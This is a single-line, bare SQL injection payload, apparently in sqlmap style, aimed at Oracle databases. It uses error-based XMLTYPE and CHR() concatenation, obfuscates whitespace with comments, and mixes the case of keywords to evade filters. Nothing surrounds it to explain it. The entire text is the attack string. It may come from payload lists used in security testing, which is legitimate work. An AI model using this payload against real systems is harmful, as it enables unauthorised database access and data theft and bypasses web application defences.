1’aNd/**/1794=(sElEcT/**/uPPEr(XmLTYPE(CHr(60)||cHr(58)||~||(SElEcT/**/(CaSE/**/WHeN/**/(1794=1794)/**/ThEn/**/1/**/eLsE/**/0/**/End)/**/frOM/**/duaL)||~||chr(62)))/**/fRom/**/duAl)– – 1